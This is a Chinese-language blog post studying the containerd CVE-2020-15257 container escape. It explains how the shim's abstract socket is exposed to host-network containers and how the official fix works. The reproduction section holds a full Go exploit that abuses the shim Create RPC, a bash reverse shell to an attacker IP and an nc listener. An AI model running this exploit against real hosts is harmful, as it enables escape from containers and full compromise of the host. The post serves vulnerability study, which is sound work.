CVE-2020-15257学习

漏洞分析

CVE-2020-15257是一个containerd漏洞,利用这个漏洞可以让共享网络的容器控制containerd。

containerd通过containerd-shim来控制runc,containerd-shim提供了各种RPC API,containerd通过这些API来向containerd-shim发送请求,从而对容器进行管理(例如创建和删除容器)[1.1]:

service Shim {
    rpc State(StateRequest) returns (StateResponse);
    rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
    rpc Start(StartRequest) returns (StartResponse);
    rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
    rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
    rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
    rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
    rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
    rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
    rpc Kill(KillRequest) returns (google.protobuf.Empty);
    rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
    rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
    rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
    rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
    rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
    rpc Wait(WaitRequest) returns (WaitResponse);
}

containerd-shim的RPC socket是“\x00”开头的,也就是说这是一个抽象socket而不是一个文件socket,抽象socket并不受到mount namespace的隔离,只受到network namespace的隔离[1.2]。

func newSocket(address string) (*net.UnixListener, error) {
    if len(address) > 106 {
        return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)
    }
    l, err := net.Listen("unix", "\x00"+address)
    if err != nil {
        return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)
    }

    return l.(*net.UnixListener), nil
}

这意味着,当容器与宿主共享网络的时候(Docker中的“–net=host”参数),这个socket同样会暴露在容器中,而容器中的进程可以通过向这个socket发送请求来控制宿主的containerd-shim。

漏洞复现

系统:Ubuntu 18.04
Docker:19.03.13
containerd:1.3.7

首先创建一个与宿主共享网络的容器:

sudo docker run -it --name ubuntu --net=host ubuntu:18.04 /bin/bash

进入容器分别获取containerd-shim的socket路径(/containerd-shim/xxx.sock)、容器的ID(/docker/xxx后面那串)、容器根目录在宿主中的路径(upperdir=/var/lib/docker/overlay2/xxx/diff)。


编写exp,填入上面得到的内容并编译:

package main

import (
    "context"
    "net"
    "github.com/containerd/ttrpc"
    shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)

func main() {
    sock := "/containerd-shim/5839ead536d064225e761605be1345b36a3b6c6b7b1c098ff67289f157fc8bb8.sock"

    docker_id := "340968a5fb669499bb01d1517f3ecaf064ec061f88b2290d0bdd17f3479b60da"

    diff := "/var/lib/docker/overlay2/97df8534e2ea655bbf917705531a0f2a9c1a5bdddbf13a0a7524aff616bd53d9/diff/"

    conn, _ := net.Dial("unix", "\x00"+sock)

    client := ttrpc.NewClient(conn)
    shimClient := shimapi.NewShimClient(client)

    ctx := context.Background()
    md := ttrpc.MD{} 
    md.Set("containerd-namespace-ttrpc", "notmoby")
    ctx = ttrpc.WithMetadata(ctx, md)

    shimClient.Create(ctx, &shimapi.CreateTaskRequest{
        ID: docker_id,
        Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
        Stdout: "binary:///bin/sh?-c="+diff+"shell",
    })
}

在根目录创建一个用于触发的shell文件,内容为反弹一个shell到10.114.0.1所在的机器(攻击端):

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1

进入10.114.0.1,开启监听:

nc -lvp 1234

在容器中运行exp,回到攻击端,可以看到来自容器宿主的shell:

官方修复

官方的修复方案是把原本的抽象socket替换成文件socket,这样这个socket就会受到mount namespace的隔离[3.1]。当然,在创建容器的时候同样需要注意不要把这个socket文件挂载到容器中。

func (b *bundle) shimAddress(namespace, socketPath string) string {
    d := sha256.Sum256([]byte(filepath.Join(socketPath, namespace, b.id)))
    return fmt.Sprintf("unix://%s/%x", filepath.Join(socketRoot, "s"), d)
}

参考

[1.1] https://github.com/containerd/containerd/blob/v1.3.7/runtime/v1/shim/v1/shim.proto#L18
[1.2] https://github.com/containerd/containerd/blob/v1.3.7/runtime/v1/shim/client/client.go#L213
[2.1] https://xz.aliyun.com/t/8925
[3.1] https://github.com/containerd/containerd/commit/ea765aba0d05254012b0b9e595e995c09186427f

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注